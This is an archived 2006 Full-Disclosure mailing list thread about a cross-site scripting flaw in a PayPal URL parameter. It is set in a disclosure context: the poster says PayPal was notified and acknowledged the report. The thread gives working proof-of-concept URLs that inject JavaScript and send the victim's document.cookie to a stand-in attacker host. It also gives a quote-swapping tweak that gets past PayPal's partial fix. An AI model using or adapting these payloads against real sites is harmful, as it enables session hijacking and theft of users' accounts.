[<prev] [next>] [<thread-prev] [day] [month] [year] [list]
Message-ID: <454EAAE9.9030500@gatech.edu>
Date: Sun, 05 Nov 2006 22:24:25 -0500
From: Matthew Flaschen <matthew.flaschen@...ech.edu>
To: Matthew Flaschen <matthew.flaschen@...ech.edu>
Cc: full-disclosure@...ts.grok.org.uk, spoof@...pal.com
Subject: Re: alert()
Hmm, I got an email from Paypal, saying
"Thank you for bringing this incident of suspicious activity to our
attention. PayPal will investigate this activity immediately and contact
you further if any additional information is required.[...]"
I'm fairly certain they're referring to this exploit, which I CCed them
on my previous post.
Also, the POC I posted no longer works. It looks like Paypal is no
longer unescaping double quotation marks. Thus, the script fails to
append the cookie. At any rate, just changing the double quotes to
single quotes makes the POC work again:
https://www.paypal.com/cgi-bin/webscr?cmd=xpt/popup/RandomAccessKey-outside&voice=javascript:window.location='http://fooHost/tracker.php?'%2Bdocument.cookie
Matt Flaschen
Matthew Flaschen wrote:
> Good find. How about using it to steal the entire PayPal cookie, though:
> https://www.paypal.com/cgi-bin/webscr?cmd=xpt/popup/RandomAccessKey-outside&voice=javascript:window.location=%22http://fooHost/tracker.php?%22%2Bdocument.cookie;
>
>
> auto113922@...h.ai wrote:
>> https://www.paypal.com/cgi-bin/webscr?cmd=xpt/popup/RandomAccessKey-
>> outside&voice=javascript:document.write('heh');alert('bl00p');
>>
>>
>>
>> Concerned about your privacy? Instantly send FREE secure email, no account required
>> http://www.hushmail.com/send?l=480
>>
>> Get the best prices on SSL certificates from Hushmail
>> https://www.hushssl.com?l=485
>>
>> _______________________________________________
>> Full-Disclosure - We believe in it.
>> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
>> Hosted and sponsored by Secunia - http://secunia.com/
>>
>
>
>
> ------------------------------------------------------------------------
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
Download attachment "signature.asc" of type "application/pgp-signature" (251 bytes)
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
Powered by blists - more mailing lists